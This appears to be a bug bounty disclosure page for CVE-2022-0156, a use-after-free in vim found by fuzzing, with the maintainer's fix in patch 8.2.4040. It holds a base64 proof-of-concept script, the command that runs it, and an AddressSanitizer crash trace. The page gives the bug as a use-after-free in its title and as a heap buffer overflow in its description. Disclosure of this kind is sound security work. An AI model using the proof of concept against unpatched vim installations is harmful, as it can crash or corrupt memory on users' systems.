Use After Free in vim/vim

Valid Reported on Jan 7th 2022

0

Description

A Heap-based Buffer Overflow has been found in vim commit `a909c48`

Proof of Concept

```
base64 poc
ZGVmIEZpcnN0RnVuY3Rpb24oKQogIGRlZiBTZWNvbmRGdW5jdGlvbihKICA9CiAgIyBOb2lzCiA
IyBvbmUKICAgCiAgIGVuZGRlZnxCQkJCCmVuZGRlZgojIENvbXBpbGUgYWxsIGZ1bmN0aW9ucwp
ZWZjb21waWxlCg==
```

```
~/fuzzing/vim/fuzz/bin/vim  -u NONE -X -Z -e -s -S ./poc -c :qa!
```

ASan stack trace:

```
~/fuzzing/vim/vim/src/vim  -u NONE -X -Z -e -s -S ./poc -c :qa!
=================================================================
==3561571==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000
READ of size 5 at 0x603000000b95 thread T0
    #0 0x4306f8 in strlen (/home/aidai/fuzzing/vim/vim/src/vim+0x4306f8)
    #1 0xc452e9 in vim_vsnprintf_typval /home/aidai/fuzzing/vim/vim/src/str
    #2 0xf75f9a in semsg /home/aidai/fuzzing/vim/vim/src/message.c:809:6
    #3 0xd732d2 in get_function_args /home/aidai/fuzzing/vim/vim/src/userfu
    #4 0xd87bb1 in define_function /home/aidai/fuzzing/vim/vim/src/userfunc
    #5 0xdc83eb in compile_nested_function /home/aidai/fuzzing/vim/vim/src/
    #6 0xdc83eb in compile_def_function /home/aidai/fuzzing/
    #7 0xd92f77 in ex_defcompile /home/aidai/fuzzing/vim/vi
    #8 0x6e76ce in do_one_cmd /home/aidai/fuzzing/vim/vim/src/ex_docmd.c:25
```

```
    #9 0x6da911 in do_cmdline /home/aidai/fuzzing/vim/vim/src/ex_docmd.c:99
    #10 0xb6761a in do_source /home/aidai/fuzzing/vim/vim/src/scriptfile.c:
    #11 0xb6538f in cmd_source /home/aidai/fuzzing/vim/vim/src/scriptfile.c

    #12 0x6e76ce in do_one_cmd /home/aidai/fuzzing/vim/vim/src/ex_docmd.c:2
    #13 0x6da911 in do_cmdline /home/aidai/fuzzing/vim/vim/src/ex_docmd.c:9
    #14 0xf61d73 in exe_commands /home/aidai/fuzzing/vim/vim/src/main.c:308
    #15 0xf61d73 in vim_main2 /home/aidai/fuzzing/vim/vim/src/main.c:774:2
    #16 0xf5e59f in main /home/aidai/fuzzing/vim/vim/src/main.c:426:12
    #17 0x7ff9888c10b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/
    #18 0x41dacd in _start (/home/aidai/fuzzing/vim/vim/src/vim+0x41dacd)

0x603000000b95 is located 21 bytes inside of 26-byte region [0x603000000b80
freed by thread T0 here:
    #0 0x495f8d in free (/home/aidai/fuzzing/vim/vim/src/vim+0x495f8d)
    #1 0x4c69c3 in vim_free /home/aidai/fuzzing/vim/vim/src/alloc.c:619:2
    #2 0xd87bb1 in define_function /home/aidai/fuzzing/vim/vim/src/userfunc
    #3 0xdc83eb in compile_nested_function /home/aidai/fuzzing/vim/vim/src/
    #4 0xdc83eb in compile_def_function /home/aidai/fuzzing/vim/vim/src/vim
    #5 0xd92f77 in ex_defcompile /home/aidai/fuzzing/vim/vim/src/userfunc.c

previously allocated by thread T0 here:
    #0 0x49620d in malloc (/home/aidai/fuzzing/vim/vim/src/vim+0x49620d)
    #1 0x4c5d15 in lalloc /home/aidai/fuzzing/vim/vim/src/alloc.c:244:11

SUMMARY: AddressSanitizer: heap-use-after-free (/home/aidai/fuzzing/vim/vim
Shadow bytes around the buggy address:
  0x0c067fff8120: fa fa 00 00 00 02 fa fa 00 00 00 01 fa fa 00 00
  0x0c067fff8130: 07 fa fa fa 00 00 04 fa fa fa 00 00 00 01 fa fa
  0x0c067fff8140: 00 00 00 fa fa fa 00 00 00 fa fa fa fd fd fd fa
  0x0c067fff8150: fa fa 00 00 00 02 fa fa 00 00 00 fa fa fa fd fd
  0x0c067fff8160: fd fd fa fa 00 00 00 fa fa fa 00 00 00 fa fa fa
=>0x0c067fff8170: fd fd[fd]fd fa fa 00 00 00 fa fa fa 00 00 00 fa
  0x0c067fff8180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8190: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff81a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff81b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff81c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
```

```
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1

  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==3561571==ABORTING
```

CVE
CVE-2022-0156
(Published)

Vulnerability Type
CWE-416: Use After Free

Severity
Medium (6.8)

Visibility
Public

Status
Fixed

Found by

aidaip
@aidaip
unranked

Fixed by

Bram Moolenaar

@brammool

maintainer

This report was seen 634 times.

We are processing your report and will contact the **vim** team within 24 hours. a year ago

We have contacted a member of the **vim** team and are waiting to hear back a year ago

Bram Moolenaar validated this vulnerability a year ago

aidaip has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Bram Moolenaar a year ago Maintainer

I can reproduce the use-after-free. I'll make a bit more drastic solution, this alloc and free problem keeps coming back.

Bram Moolenaar a year ago Maintainer

Should be fixed by patch 8.2.4040

Bram Moolenaar a year ago Maintainer

patch 8.2.4042 is also needed, but 8.2.4040 is the one that fixes the problem.

Bram Moolenaar marked this as fixed in **8.2** with commit **9f1a39** a year ago

Bram Moolenaar has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Sign in to join this conversation